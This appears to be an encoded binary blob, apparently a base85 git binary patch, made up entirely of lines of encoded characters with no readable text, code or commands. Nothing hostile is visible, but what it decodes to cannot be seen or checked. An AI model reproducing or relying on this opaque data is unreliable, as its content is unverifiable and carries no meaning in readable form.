zh8}OG{B3gOH{YER20f_`OB*`Eyqm?QKesgiKJEgHD_qGQYtqp}k+N9kV9;CV-s%__
zCRS8faL`BUXUZ5^Vhk9>^<7_`<KS^xSl4GmHs%S0fdIj*I2j!TyVTb2?fJ*p>vH2T
z2UPC8w|qRIxKe(<=b3>F%Jb=P#-ow@6AhjKEAEg?Imt{QvXi(N2^TWL0A&bz5jK+K
z2AId22a!mI+gmnK(h{<y7hbJOQ~YXroabrbN!f98a2oNNVu5L0VP9BP=cjX)$l+r*
z5}1L92dCkk_fanhzuaD)<7@749!pLiXPl1(oQ;5BB7lOGy%}(Mar2`jin)eJoyg!j
zi|t}eL?m_8hHb`N(}ZGCOcqIu=YViaq@wMbyI^tewJqnZxj6BtgV$&F-Qa)uwbF$!
z#tqvOf1wDt{Pyyu{pP51Dq#z8d`HRUtzWDIGJ6_J3<JZrD^8~ROr~A#AXOr#R^Ch{
zkrG{6Nj8=7xfD_dsWucu)V{t0VpyJ^oj9ER;`^R7JqhMXe%M&d3x2HnbBnjW6Z3UF
zZ)^;~9X+yXCDXf_7%S7kM{!VtGMb0jn=Jt({Gb?QG4&DGWr8wHQUp#ZfIhkG>(2lk
zJM8?>@BonrN15DaeT$#q)FIgx8ni2->R0NY0L7RW>KHZ!q5TEs_gUx!6NlmF{s=BJ
z--#>@`HA;~1%C7Zff2My$7Fp;6+ujgMh>fm7QxP;thT=`iiF>Jd{A1vtIZbGV!?_q
zU_geL=>+}hXS?5Wu{}Ey#+sCxYBgawG(n!9cEqfME5tRGpt^5syK4k<EE9h#RfwF4
ziw_(nTjv=vv{3(-v*11j!Xxz?0Z<w-je!n$R5;SWl~;Sm@rh7?&Rlpcjj}=10&yf#
zfWm0fKwrC+{Ae(ZJS5IaNh)oWBuNy#rYCIi?)!&Ds6?S;DA0NGy`DPw>uAMQA#z;T
zA07aU)O~FafD4i;&CuVSNXHKR%G|^C+<f;XUjMOf-DS|OQ~6jCk8<y`gH!hd)g!mx
zTI&nL@}fy)GnRs@g(t@ISk24F+riR6s#TXOv)hrE&4Q@fnS(}qvb94&;)MrNx}_+)
z^{Lu&)RE5`T{}aaV%d8pR1$5?%b}KN1z4{x;#rXnDBeGAwwCq3yX=URH<0-pRW)Jp
zUe0}Ra<Xq==WSgf%J&+0*jEo+$L^7M%qr*yaF;C*4Iv8Ge85f4s?MHudEaM}iE{7p
zq_45dCn+hwSE)NH`2J8Hw^^1{3z5-8T`pFIB|-*v)cLj`R#4lIPPNHJpj~S#g1i8_
zQPPQKyVwkjOPJB3&#_46C8{kvAh!N25R*?9_Tytrcm8NDX!`0zY%bkeb-BqU6*Ob}
z;r=g0Tso~~6r*NC^&3&)Xo5brsNU)mVn0`dqyn9H0inncU7)^z4A%GpQ)*6W-!Iiv
znpw#{yAmBjY$BUlY8KiMGzS`?$yTncQCb8{u9n+}#_YBjG{8{d8+o+xnj9U+R6VVd
zHDL-#X9?D49M!chumDX1Dgd8mee{>cz4!x0DB-eHEcTEWL!zKXsJAhRc6M(tI-Mml
zv?5uW;B4Iti7%Hn3KY)tMhhL|$1DN;CPv=TyMZlawj{f+1cF(rOb}LPzNr*pPNtl4
zEtgJpB<JJ>kzy*$LU5>id|r!4iUVB`DXxOv4IwBcDlwDE_4n5z3nJhxi8?7{OKOWw
z#x4|qHswS+NFQw6ErUoTfBh-*wt42TgWU;5Bp8hzR{GKJEk#d(*J<Z?Q)ef9u<e3=
z`HM5@b9d7tIXwR%KT;t;;NSI!-O-0599=BDhq|+ImIyvJ67a8r{ilJg3__CcH^NU;
zkrE#P<;Pu;NIdM%Jjm070}{_4;Fqlh9|0I*)Aj#fO@IAMfI}}CpYkG2|6_RTX-m$>
zz$gr)k06;0=G&iac}L4aNy)P#t{b8%#qxtApNUtb=IN85)=9qNFi62T(nmJbUC^*;
zL7-X?ovsh2Wf^!sSTDehaCykB)_Wr`bYqq}!pzNfwLi^{v*P=jR@yTR-@Zqymc5Yi
z0;<AuLY!?rn>9eFtuZIbo`=xY5m-P=yKArbna#zJ$&1UwwvJSq!w;*BR)r-f-0rFt
zZZq$e<=)+K`Bexd_(Qgv-e`(6i+^igc6namqD)UNDD>Q5%=aHzdxqOqO25d5osu|(
zJ){CaD14a<1a=D|VZiHls7<d<HtMFaAbCSUJgGL!g~7J}We?U-Ycxg^tc@mP&Fei3
z?drdDF}pzJ31i{&bf(4n%9sd6R$)QLGrCPqK08!YL5w2nosOA)-FzI&qSa|0P~%Os
z!<T<B{v76s_-U<zZVZ921nPYeMW?<;WWsqBUK~iUy!BU#UVj<z{5Ao=apLpggo_==
z$<hIk@R|DG@2dw@;e<+yD8*(LU;}zQPMkzCRH%DAn8d2#{u^2agr<eZj>EC9heK+f
z%<v+G4$S<vJ=^A=?O06~9Awq|RcDADSN5wCr+-Pb8LnwgIcT@(OTryPcqKTmx57^2
z+rvp;{#@c%cpcq!oY`18ho1%OA!blx);vx|h$EJMD)pzE`QO^60T?l64b3q1ChWNF
z&VbjuxqRKBK)^8LAD<n+jES!1z_Q}6wYqMuWi2k}hL(FZqfR=jb$1OH*B7qM$gSm+
zZP8i*JZoUP3!UgaF@gBb4`A3-yJQbS9|JKFT`&<l0xuk(QR!{_8FSKk(NjYiC4Db`
zP-Bw40D<GvIJ>S8Kf06QK?&Pa7lDcWUb5Ftg8o-DGV5T-r~NDb3IO9zpMi_S67!jV
zD-{4VgCEZabY&#Ea>G<bIBC9FF~)8me;}qrvbkxR;|l{g(MwXP7c8AZWnHL4gbT3Y
zYfM>iB%V}O_~gB7XdQIY>kXotsJ>xF`1!J}(}2O{FF%Z4(V9zEDdcL0_L34~%|cxO
zK3WX0Ap_~>rrgL`7?FJA&K<M(M_z#Lx!Pz4b$Q+2j{JC1PFYsTpr5^s{z_S<dc2JO
z&@Ore(YZdGkvEM0GXDB<XH=<S7*$4_v9)O?Cw<@hhxh?}rM}J(3E)2V0})8C2_rzD
zw3#AI-v)4l3W!gUrc*KMRp{9KEvHNHNCzL|Hvk<^d4UxDkhvCa!VZ#2=XamqoXepq
zpeV5YsJC$8RK;6BUD&g4Fdl`)=6_PzgQBw%vWbLbnrvd=aGb9BiK`7o+@^>-{col5
zByJOs&%OHP3$!9bMl0v<k5oQh<X)>`$yUV*b4Hg=EGnQr`jS5kBmfP=;3XyMd)xKV
z-|ws+M=yZ$_cHdIC(3!z7kz-bI9j7H;=5*$?TW|r6TMq#g;&&Upnl(Po60C<-fBk0
z52RA(zxTRPK2O<+3S@_;G;8sF`X}hZ`U8M;H+%m33njlTw@8t$hVmCR(L9SBNydFB
zvU4OMZ*{RHggocI-iXT%jU0{gmqsrhNte|p0}y!jQ<CA6ddARBcYpPqZ?qf@605An
zoOWSl>vp?jyy`99AVi8hP0HEjAKmxR1Hl}m^m9ZAddF5rx|rM_rYVEU`DD%|TZoxW
z8EzF=h2!LdnY`=-iW5MfG`xY9lb(4UnnZ7zs5Wj@{~O7IZ~-zvOog)}H_i~9%=nAJ
zc<PWOG+PZykxM6x&zTq<&7)%o+C=F=&fd_)9~KhV0U*ffp`G2)&oq6{6iALEv*_1I
zonyF`29$zq(l*&hE#adMkx#L7EE{0}UBebULjgROPV+#JxTnZsmyAAjghGuNzth7p
zg~sU!a1n?lfC9gGxg@5!rKE6*C!(p@V4kNjQ_Pp)ReNv<i2+~JW}Slc0fgQ{-Ci9=
zw^qCXe@^j3OFn-N+wd5Y{ogkFvt4h+P!!eS`sG}O^UW-f$_q~W(v6X#w)qp4#$Ht6
z-I;=ic!ZpHf(BZ4%YILLn2j%<ZC7;qLC<HdBLcT;e{h^#xu9`W&3xNAE=dPm1}Z2{
zw3p%TyimFO7ZAN)5n-nu#kgY~*4_eDiveJAfZuXD19pDW@<t-^!?J!Jw(q<oUY#>)
z1jW#`e)(5cnE9<5QGk)hu2`|eQ~C*)Kc|aHuX&i}^(uTm!L~idq)fe9To(wAJhG&C
z{#PEWC0hwVcDVdvbg5^Edo^m17%Z<}AjU@;87NC7b--V&ggc79KHtZZ0@K+pJP7<T
ztpp98S)%-DoS}o#x@#I97%fG6F1D_U9(F0{pj<ip-pT^&0*VhnrejAsM^0=AGr#td
z4DRmbt9qAFmzVmtE~_!kv;f0@M5}BE4+2fyDNNNLQ{^Zz!6+qjz>xqHpc`<x#|-LK
zJmJv1wy2&yIv=BC(7Z@k5ip7p5TnNSk&Gpg%USN<Fi3>=+K~js(ULY6k*#mJLC1d-
z5B0Bn^&S{MT@S&2GHY&Z0SkKm)h{+N4QTc8BYa-1@kb0e)E5VNQkqt1LC$wBVl0MO
z-{U=$(=$ZfpjHFIeylMhM(Bh~A<vebx`0b_%wyxC3e!_#M6YjN>%adQ|N4H&?$zI&
zmBuc(-R5)tw<so=Z0tyZn6?0|>ULL3dsFa6pNcr;$ju7fYT2wVIqt#ztVsm7<Z57r
zr}?N8n6vjx4ikKl;)N_x$h5et{PwY-4Kij?>@6kGyrbAq2F|WFxKjQCLo2G4?5~JF
z=$siZzm<v<dnWPFa-f<NmofM(-?;Xtkd@#pwfWKS@7MSGI<A;$HOq2;e;Gb5$ym$5
z@;gj|xWR0R|Mn_e!4n;%vtl~yX#B1UQ;BM;o5Z#Ftg<v>+*u+_-o3prY3{Y9jYKWr
zCi>64%5aL3$na{3!X%Z!D#)C3S`mcH(fn;Oi0JcQX4Y?h2h`<JtZEO=dWb^EP0AV1
zqyEkdndydLS*rBuye@(xwHN`HxZ0xBgFJi#R=l9JeUX2}Je)N5x|Th?;J1~%#nC{H
z*-5H&q!tf)yVSX22+ui>_d;+jZ7r8A-+IPbs?LAQgX{+)Bx)oTl?<AnXwwn5BH4oB
z0jZ)S@)oy3JkI<s^?jD|Owz60@mXkl#%3o+aRrJ(86PCNzInD=aP=w(ggPWl%2=vQ
z{+6|WiovO-G6^eqo_|4-xSyg985zg`|1ykoY3!w&**~Hk5e1}I%N2?<=Q|OYD$yzq
zVApI#Qc|^F8>OZ$INr{`hTPw9>`ME;2GXDZ!`EtGA)((W9UJ7Ggl%iKb?M9wR!qJ{
z*x|Vt`INO4SzomK5`UanN`>?h#OrAR*w%rNou6?x;jfNq{M2)XBI&id>a7++UMHQw
z8*!c3&BB>49f(J<0Mn;d7Zo3>9eygi8uW*)<mA7DI%V@zL<KuJmC=5yOoK|a`3G%R
z0X2VSo9Q@h0dg^7g>=X5aY}ig#tj0o^a?D;7MGRV0|HhwMT9Eb@N@M2tCk20yXi0y
zFtu&GM-@q7aKZ*!5C#JWvSR#8og!jfIf3U3B_F9dFTf1RAWC04SspXq3U4Z;i)oC+
zBZN%Wl{G<)5r1%+WO_RSQAeozu##yPO>ZDfnR5U=QF#Jsk};oHK!veBsmuV1IC9i?
z9G00G<kQNcTd>R~l)c4M;j4+E(nO$$R#q&L#(_L01RXgGx@9hT@8wU0%exh9iqAmj
zqMHYOkTqwzy{lt=&QPHYp)k)4^boHj!qdRHA7cV(@-UhQm@38#eS>dpPW*Tj5k1N4
z&)+rB8K{ipbtxL{<Z)o^V#%YBI_&v$;bJWOo0_WQ-r(HAX8AQH$hJKm;_+j(K?qGP
z+@m<v4?8{Y;hj&1>RoI1`)lFvQ3i6^fZ>mg0jKu!+(hjn0|7=8$V#z;^iCW909?L$
z2DLxHO<5ChAtU>6<vq6l+CNjrBbEPWa$14Ty`75o<^Y+2NvCZ05fy2mEsIn=Yk`XS
z4{~N1K6Xx}fAEFvW35)0IoFxaLx%un&R4T<okt?yZ0YmGBs#C|A3I=@VvfY#o06wk
zLE#t5x<>4E84o51z%b?>Buti@e35yC`N)mc{HF5OLeBU%w=Fizo8p8~bH>%rv9r3S
zHVU3Z-=iJT1USX_>GsOP$I0X*@*39cHNpuvV+_=6m`MK!q8g@1H4ML*@J1l)?M|MK
zZrDF)(gK{X<&SEbdoV>_#rLY!-vn!0qi6puWQvOvwg6EMA6aE#m7QfH2X0d)>K+FF
zwV1&=Rzk12iMxpXtN|VM(vbz*DMxFUx%aGt>h?l=O%8=fs4wOWAq#R!c=WvD?_-|a
z7sBPXM8ymi5NE>^h#GZc=M>;jmiIIc)W5jvdR_a~>6GFD&w0g|+7N!(T@0H=MPwZA
zVfwGebhmF5O@p^P6E_n6bhYzEEJeo3rLTMKxq09c-<kOa^}*+76*fAyP#{K7aPQM+
z=*zia061W`C84YJ)Q94E%jps5bvfLA#FK`+-|XX#6mb4GfGps0FA!Y)nTs)<%4#nJ
z>DhS5mB=M+KZe{yOD8o8a_ac0O$2?7j4i_Gnkb26alb^V@u(r=bv|Ad0)8EpFHvG}
z56Y@P`+IEh^>sUE6Z_<`Ze<6VRSX)D{N&t%CBFI@>88{KB!`q}eiKY_dN*KXhT(oG
zbe#Wu3hi%#<@uZCPjvvjj<na+BqW?HX1F-&crD$(+jMY#Kg_N~WJ4H4mUJ%CPEaXg
z3PH140C07$<_v;3%mKt0-CC>|NlgNrZ+D2(w9wznaj{-__c?hFe#U%|erKjlQI<M0
z|5mYE{t4L<T?yKL!1Nu&S{qAeW#v6|aT1m8!)a@I=WSSn>0_MKRfvYdl|{*`YeI+Y
z*&kzu_tX1NLQXF#k!t7|mQPIsX#o;OGk4=u`g~-ZEPXlm_AOoV43MBcH5;V??AJ?>
ze_%G@ZM3S7);jV%#1fT(tc10YB)dC5wvLSt0h%23J;DSb)pfx*jY9~8X+@efD8C>r
z-ejr8veQh^jH4t2;qN`l{J0gvfY3u%$WeqQU&tE75QGp)I;l8K1|)`-;FY=NplJjl
z0jZKXf*Y|9ZTfbL-fyW*Z(}IQOj$0oFe?J)2@DA??nvUzLV6xsMt<L)?~(-U<G+YJ
z!kJ&xoA=hy{VrPq!CQ_fFFn*xH--S&3P8`!xA$;Q@oU`Mg20o&FnfiJF7NI4!6i2w
zA*B41lE}-Kcrwb!9O<~@nM-VbqX}Ud-WFSBQ6heX?OopzO(V9y4lrGMMg4C!<SimX
z64z?lNcGO0zRpO~)%^PN%hF>m3<C!Sz=Wk*w?>bLNqX2jX;Ko+9xA)U>bh^q9X`@z
zH1ka0VnewCS03lQ%i50;iglS^iMRm{b1RBDgL+Kwl&+*I$EB5inT_3u7Zx)PaX+JM
zd&@7rqke!P>x-+8EO3*F`JvqpI%dvK{gloiD+uD$!`MmqS|3?Yz0#(Gm606f&wmTL
zEu(_@pOe}Z2dw7@Air0S5Sx@dLMtYev@kn20BY)(dOsL&g{Bx5%;@fGP&mF~4~rYH
zd3+|{)5iCwPDL~usl{`{B$GwG($&EW#dr&7U76!S^`P)Zq|to(S19CTfZV6(>4dI{
zFbd%1)gM6q;4;d1t~xIb{;YhlT&TUP)!<540`ommsxTLElI0F>-EW0U3ROE6C8SAM
zA&PllKb^10*`O5L9bCG-bQ&~gzbI?|OBQMgaRT6Fse;P!Fn|lSNfv5ZML2O3cVcI2
ziD8D<Yp^92s22ag<=tXMth6PUZGo1n9O#{Nf!Gy7Y_k$_lD2nz2*=)4137$V;u(F}
z--|GQFTnF)pUm&LPra)q@W69Dhsql}H}>EBuzg029CV}R={NzlGNAvp?NeM{Slm>`
z+c6989^b~AlF><LLM-O3_CXd=tA+Tp6Zp?^WSg6_gqPh*g^ryMdYvP_uk*nF87j9|
zRq?Yb)$fuC4aV;@8)W=AqJ4}1B?Y}m-mgmN{j#>0G>`D?ta2;my-9!86hR=)_;_Gd
zC(@GVqc^PPt_h%C0QB6_@A_;S>x!`~PEF4_)9aE$#}zR$Y5Cz#C5Dx?BG2}ReR;-j
zEbV~W`G6iisR`mV&FC<$#cc6SVMZNHn{6@NH2^Q#`492l+*Hl?By-z1?rMyki7uIL
zOKkYy#OeAw7BM+8#lf)O3->Mf5cJu;xL5~}zD8QEI^7bn&y#GK+zyGpj-U}syvvnf
z39wh!=41P~K>|17qj9a-1_bKh!%~e}4N7^d8RTjf+Tx?-gi<Dn^mSC81$FyT$mKi&
zfkRtfUq-C*jLDWxlJd;(<^y@$k39mm8g=Uh%L4FQq|HMbAb(tkb(;a7CSG`Gl0AvL
zAn_@3=7n(^I}`$4r^%VL#KlXIQelcu`k4p~hJ%2ZiZG-wajnipEpwJwNeY+jc*oRl
zy&SEy2NCr$5U}_VA-&PHEv&gSNSJ7oKTVEDqSJzJX#Jt~1L+cW1g78P&xx)K$2P1C
zI1R6YbmxMqh}Xuh{h0Yu-H-)<B;a=MnYh`*FU?72SnvDcL{LSOFEG&TIf7UK13fY^
zs8O0LXyKk$-a~81m_{uZka~%|TJzQ;_Z1#XEn3v?+48jVS`hx9J?dxMtleB@CUvnZ
zg2%Z5Qz`}O_I{HRq43H?q8)dugzCN^B(lRS-b$UAs<dT2CehTko4yA}b>Bb{sBEI)
zWQiwm<%tr2{qp0j?rJ;u<X9NGa<uOFB(Q!^3V}QItuc-i>PqTcXOC`}8u2%d9jSO1
zbD$ct`{`>l&Q<q`uWg(!v&Vg)m{aYOPa|R)A+YoA^X3f`lM|B;v4XTQ7)Q&<Isw_;
zC<J!!_BTUGmiOqjP7)~0jX6D;RD<>IBZR3x>IJsgpxsp5aEYt^CKKZh%lpO_v;a1y
zS$q)vF7B*(l3T}C>|n=I_tSL>T+u4TRtd|T&P-JRvf=9tG8NbaAs_xLbk1twbgden
zirM^Gb6j5D?35mUH*2U{fJw!dC+1Bo)Q*Ty^E;-r3(s8|$z{|>a71%3JMAkJqbzY0
zv=1_4o2TO?7utO)?k<(Vl-!x`g=+d^`5}@^l3)zFl3!~_N-*G&4+mf*&hyk26lwno
z$+-AY8P@AJgtDcAXk%#O`wM~b8jX|`HZLzTL=ffu?&bi0jVre&%l~dJr*`Sz`e9cQ
zS$cTD@zbBj4vf8nnwN9+?u3`awUGBH3dh39jFtxm6f~S>@cS8C;CSiHE(4wpq?~4f
z2SBUY<nsiYvMlb6XYbE+Upo-nScXyjmOlKiJ@`LK5O1UOqV!v9FWjQ}%M+4N`&pm&
z_}*^8RFw9wOpn<wSw!NHgIojLBzyFGt+n5UTSpgZsK5HD6VsQT%JUmnMCn%vr>v)B
z&xffqJ-;B#w69U}_quOoY`{GOaLk|A=*BCpAo~|XoJ93XF^0xmKLwzX_rez>*`!B@
zM*uxW_7OvonfCV%!G7%~Yyxq<O=AP6IH}AI_#|bz5i`nI{{NyNCPWomzw*C3G|tJA
zjml7MP(X{=oQ9|{_~(fTWx^`#oMOBz{_ODxPpMmC@Xt+56x3a@T02kQ!W@iW<!)Bo
zy_b>4t-K@?Xh14sftf@j!&xzdJD$YZx}`>fkBm$}qtP#{1`L*13sCV*nj}At;zD+M
zWVZ~9VN}hOpO6xW6<HX2KldiF?=X}@FXJ~<SoayKT0qJx5~D%-@}o0+LM66&_;mI*
z87#0RtlHBM5%P(EJxl02$o(rv73vS{P^EERH0Q1#47iFg_gq?f7xyS2t$X0aGr`9a
zr?L)w^iwZ{>-nPmNMM}<JTns)!B<RDSv>1S4UGuRK`5`FMfgtF3F!`9l3l})lrBLa
z0$%q?0vPy28~~<j^LrzNP00Gb1EW3Lq8bRMs)I$k@GKX_<948T(ALT)-mRiqsG-wr
z97P%42WJjop6=JXoeU2IJXw^U2ChAbbpPKw>?P4I5nuo6qBVdZn4EYF-ExzVX%)e(
ztzp5`NA0_!aNtK~we<GF*+~1)H`|0A!3VY6;=T2m?(-j!c8_mrxOO2Ws1}byGkte!
zQtvd|tE--fd*zo;-J}*9sSPSgw$PoY-Z5+J7soJH5?HBro3pWFn$Dzs(Wdx~M`6gV
zQ5Hq8ZFt+A49FO!a1b>W{j{Z8SFBdEu1WTBy{gb$jJEfF<c+Et-(hf=JM3O|osGMQ
zy~uLH8=WUF+9<nzir(s5N7OWWV*)#zVqtha4gijKDjI~-{P~~^2r;()#1qfATV%i>
zJZLM~t{zoI{Uw)MGsO<XV(q~c7G7>66W4E&%Q#w(a+GWk%O3yGX1e-*a8GVi0Ku)R
z<!jA$@Tz^MK7y__i;WflE&;2^EqU9}+vlYa`~4O@w6W2rCKq|4{?%Dc@rj@^tFSi{
zPa%(KE=ao*xuz1?TAUk|Kj~2;Suar=E$q`oXd~SzrZdAnA&WNpU4tY&2hT8V=-oPF
zU$B@oQ^8l=5Z`WAK9Xb|(1v9IM=<zL2f4)rys^2I*)C!z+|5IX!nwCxoo489dPOL>
zU^<Ubh3O5YvEF1*tRy!A(p9^i3cnHwCebo~jafQQ6f?q_R{-9(NmsbS8SSgRl;D)=
z>C+f?U{A!s<>gxh)0LS2#DV`K>MDJkq|zIeO1-gv{*9Yr_1)6HU!N{U_Y@ELP5bON
z?4~}a<MHcF>i$fvKp)S}pIr3lNsY-C&J@jY>tv4!uR(=NYD|C2sj_yTq#~hzlR=vn
z=6Hu}#KZKKeWUrbt^1q|Bt6px%@m2N^#pYUi0S8l!^m$)kG9qfD^&VZHttzB%RoAq
zCo-a!uAG-HisDpJQ?$}#-dVe?gU^AkGqI<rAF{>fEZ~!Cjt8~ye}GNJk=jVT0VA(R
z4s-b8)piZj9R_3BVtTn6j#QVk)D83~>p?aNRI8;=@J5y;>ydK)g~;x-aNvOz5d^2m
z9yCe)mH7d>3>uLf2qTJ8>7uW==66v@A*34S$kV}dYF3Kj(KP>^1T@n2M1i)wfvAXy
zxI;1=>-aQ997txgnQQ3Mk^;W5`Bai%9V=0N$r!J;E@s%L?+M(Zf9&O83AcP>6WCFj
zUC*FiaL)E=qNV6JPh5f}IsM!_6zvx=tBl-+p{}7+z3Zh(q4YTk*N^^7xo&);1^<|Z
zghirmKq~mg!p(>Ys~6nMfmh<UliJjwtz4!d)GsXsp$#jBh<{D42xa1Av!%aparkls
z(Fo{D!>~qJatayhr|8D#tmZI~IYwI$1Yx#UCaWd*uRs0|D5U?bhDAUS#gy-FkrpXd
zF$XRXF;+e?oyvquXQw)r|LCaVrt8Chzw7gQ3fpR;Vh5{lF0MDwX7biFz7^|ZksLCV
zxA75d%ZnQa(jRt{{G}r<PQ3c;Y<A||_;K{eyMlp3_tNNyB=S5oBNc1he{hyyC#^UX
zDWT;ZF&>7pubMUfPPv{ACahMdh7ibbM}K=QT<5P6Kf7O@Ltc4LHy07J(1(rDbXRT=
zmOT8X4w}Vwx~UE#Np=iK-5)lXOgh{Nqr@i#qjPi1&{XfI2Y?}d7@>KP3zGCwi2^s-
z_rQs;POa{k8<^c1OWd&yTBa@BTHMnBNMNqF^cyAZ_eTKY#|Hs{ft1E`P8v`-8Z()v
z@|F_q);Gnx<_ftV7`he9Y)9}Rg)Z52CS>Uje!2!&kr^*!!=>;XmAgN_ZA@ij?}jBt
z3QU&LXjZ?QY-34gDM_SFs=XmcqghUnh0|S+R=^`iLra?C*fJr14f=h1<G5O+9Y4Gr
z{@1IMIeMBkNlNv7U2Mir4Oox}l=<Y2%<J+H0UrNA9daXn{u2&2!S33+=uE(lU*CtL
zer$Ord%TsnZ^cD*Hu!Pw@JWh&0R6AIIi22lQKG#;TfiM7MNrpttY_3WX{@JEVE9Uf
z;M%<Z<wYlQ;C|9g4*|4?4%C2v`M=R`YQ@r{7mCI8F!ec*^SYYV$Hu}EAXgHeRQlc=
z(MqRKm>X)#y8>Z4xJI)UD)g_sQXk4Kn2R|<GFc>Gz4cIUbhMD`Ffd!uRuV)5@E6h`
zHGGgsKmSB0VDm77T|DZ~70t!tZoK_=k}41!`o%&aPgh@@!l+OaDN={Igh;-IG&cLD
zD5PI_kiDVg!%}|5Qtz)a@29uU$wqn9F@%m<O%L0br!9qf2ISPhut7^jiKsDd=h(tq
zl*07#E@oP`b4KN<UX@_7u5^upV8JgEyolh^#j_yl-F*cvC@$m2BsThmv<s_8gTw_A
zfh#jrwr$m4p(hl#hjeE=T33dd|L74=*Lw%2QoV~`&L1--Sdz>>Gm`ceGbI&2Bx86E
zUa{8v5#d_RDuI!K%{3swZCX{~af#btm)5DkE(Ss9AU^boAU7DNR~)<=mgb*s0--vx
z5?L*F@WM}v?vDwRMaCx~p^ENJ$yAdHZ^4<SqiMG$FTsr(tHp$Zw%<m<vvJH0+KctQ
zY~)&B`Ia(4o#dVuM@-Ew9vHu7Jf^HBcK6o2U$)?D&+IR(#^UetYff<<9)#j*bC`ry
z^18-PA*~`~YwV8yDthDBhV1DE5VyLIe?ji%&r;H5e8a8pRu%Y&;J>iKF;~90R~c~E
zuI>C6d?!lF{}jBddQjTONG#F?M91vM1<^Aw-a?NG0>9GhmmOAQ(rB8UeXl;S2|in_
z5Wdd1GO-yuG1g3q?(nTcCfGYxxR^K-MQBHZ`_}(<%fGX{^5aZldG0T#84#QALt;w%
z;=m%EHmMm*Sz=3>@!5uAGbugE*H}6ayA=}0mioq~e>UeUb)El5Vy!5K6xd>e6uNRN
zo}nVOV+5{+e$B`zQn?|RZFZbee2u;kxx#3e><zklRx;-`IvS*Ke^BCV_;lP-ByuAc
z(NJjcd!+%;1*^rGf!CHX(U2x}><}mRuE+)+Bec+^(LY6?$QbJNET&E5N-Fb>1EG$W
z3-1Q;45^kS*y@uau1d5*veJpOAEhi8ZDQEoh2)>+XT@CfEw@hV?}+!wL{8fJT4yJ(
zhC7rqy>FyP$=ioNX&54b=n|9Eyawe9rav+9IBXvgXMw@SXb)XEBe`V{YM6rb?}skL
zg~S6x`<L-%aa^|vJ)L4H5iDrAi9J$dl_tI}(92GQ+32t_m0a^+E+<_~rl*8$b<~N4
zDR8Y}BpCa9J^N$(tv`EqH%UCx3gviUz}@&9%uOX$K3A+p?2dm4Crylq6@8nUo_MGs
zlZ9X@>@|E3=uz1qz7IYQ%fbXfUOA51%FPqEwl{MJac3d=Cs7>XK6QovJ@NlD8(dn%
z^QBcU`)(VILhXY}<p-B~8Qt6a!RqK$ANA-v$livupJ?7A+Y@8w6IM>z?{k$s8tuwH
zUfZ&$IwqZG#J<-h^|b8?aC*`%42b}SSIFaXm!zU*uivN{X_B*<?-Z<GsLb_0%%<HO
zMz`?MgndwO;o$t6<E8X5YZT8l>U*Q_9{>Xlp)U&(Aw*Yl?!wRTn>~f18LlQd)R=+E
z^-gesr2nvI&QH$f=jl%dT#b)>oFc_H<m*zEijB^7b+vbbK!QT0Jf?NSnfxab%PYYr
z)pVKOq~KR#SFje5)IYZm4E;76n?(LX+{Ax8rASE#+Nm^Dn1RabU@^TKfB{xi5z_uv
zSMhoxrFbQ{rxKL2MNf|M-oTq4g6xK9xnUX3F*W#Cl;~&rQ;0@#B8v!~jcLM1WZ|rC
zWzXXEghEdAOi4EX$fj4AG(-U5>Tv--q<7e$)&UVn0wqPxHsUGMEW2e$Jk!clQOA-5
zfTQx(2`{C4UhyqkoHNn^x%cw1nJSbDI36JR>+W8N%yCoQ3o^`M(lQmbHL@{0VE~OB
zy7XhM`{5)I?|ISl1qFU7me6IPf12<;?sc)O*5822`^Qt5XUPI>V)u+`xRiS>CZ(@G
z?JD^hzU>z1TC3P{_Vb4ef4xwu8^*hMpCetoj&G{TNWAMf;x|#P)ImprPH%~^|EmK2
z&p_y(DidSQ7;*>vu>rp9HlgMyG(S{q!1PskbL`U{VohK2c)gc&ygZXs)_I)0&;91p
zom)B&M%Ap-lvvKd3a&%PB|YHH6XN8Vwj|0;ki_%5LiSUH#bpHd+uO%^8Q~@I>URmb
z1U&zM==&5jMO;v;f^Hqxd2O1%b@{&0^K!{SxE{m=Ci=N=>ZcLvC6RY^FN0g&$gSqz
zcihgP+juel1u!oN`~Prz^Q>xL*uCf-jI=|k!mthsl)g1#NLU|6D-;v!J@AGx8E6s-
zT8{tZPfq!HrbF@@l{Z#XMuMRhm`n7{ygMWK|3}qZutfoGUBeUPFu=gjAl=>4-Q5g|
z<dA}tK{Is6&?OCmfTW5@=YSv~ASK<>E#>EVpEu6;AJ%p6eXqTOwSI@`dp*^-hGPDV
z0s<i1;(8yNJ7DuOH1^iis(}p~?gE4f!$=XtP@Kr`?;OJ-1=N#X@Xo?yKKMF{GSWU`
z-WsD|ClFexk0BDfN_~Jg?1{6#RyiqL8C@Z_Rp3>WFcN@0f9kR#rNeViWlY4FOENql
zqGKowm63*NMU-*$BJu9KLWgO*-(ziwLT0}B4f9e1O-d|SlPTwRCU%|rf=;`N@EhyG
z?ad;zp;4S)Z9GyKl?97>b_|VKK-npG6yg&hOd6bOth%i+aufyK#bkBpc3B+)p*-Se
zt+WM!r@i%W2mTznEIqVwtaJ5RU4L!u+<ZXL?oLOANvQS-jnj-3TMItJ^kENC#X!qY
ziPGdo&{QEc@}jWL=+bEtUHxD8R0kCe`d0se$N%UD->|pXxMbRz?k#<#qtoqN*E70&
zRuMlOmzDO)`NY)ItI^cAfQbSfQ`V4)sqp&%z%%>pbEeKU?NQT~I#E7+8{JFB=Xa{v
z^^~RMaY*Lx1;X)e76tX>5tjY?mAXJq5XtKD%e%g|0CU1`JtDttadp}IA4C?fX@Qrj
z`lQc_TEwa=RXN+Z+ytWqGp~Cmp8_V-#2r&mm*omI^x6dyj}tko*vV*ZR+&w#n-wC0
zLVDLr@V9E-&c|E*yjOtpp~@X5acSHGK5?tqzu@R+<;0}Cyf9ERRnkhI75W+~NVz6d
zlFUY`R+D}?uqhXg!>;fIWIe2FSS#7M&_TB5Cg^-)!<F3V3!~_Wi6viwcdcfv3_rPQ
zI)4p9dpQ?5S;@XO@ReAZCs!7IHl6`wsOaqXr*xmhrWgpWbdnB`-niuqr!BZLDxp_i
zEXkK_kYF8-N`@mpDZKw;JRi0#VGQ#O4U$GJivX!nRKj?wP%ST411t!$fddr<@7q`?
z_J|EO>N>P+EU9o8-Ti?~o4Omj5CMho8h|KXXEU39?y<75#y^RH)g^=l^>hu5x4^;m
zp1u0<()-_BSEYxAs<C+_3v8NR;QLo<vQJri<mlQPOL%u;2I)G}5@TN|?)gA8+|+1D
zmV?)e|L>G|>JhMIB4a_bH8lE8{#Jj5UAA5Ix?jWyF7hso*+TbUs=dXxM+|R9+-(Y@
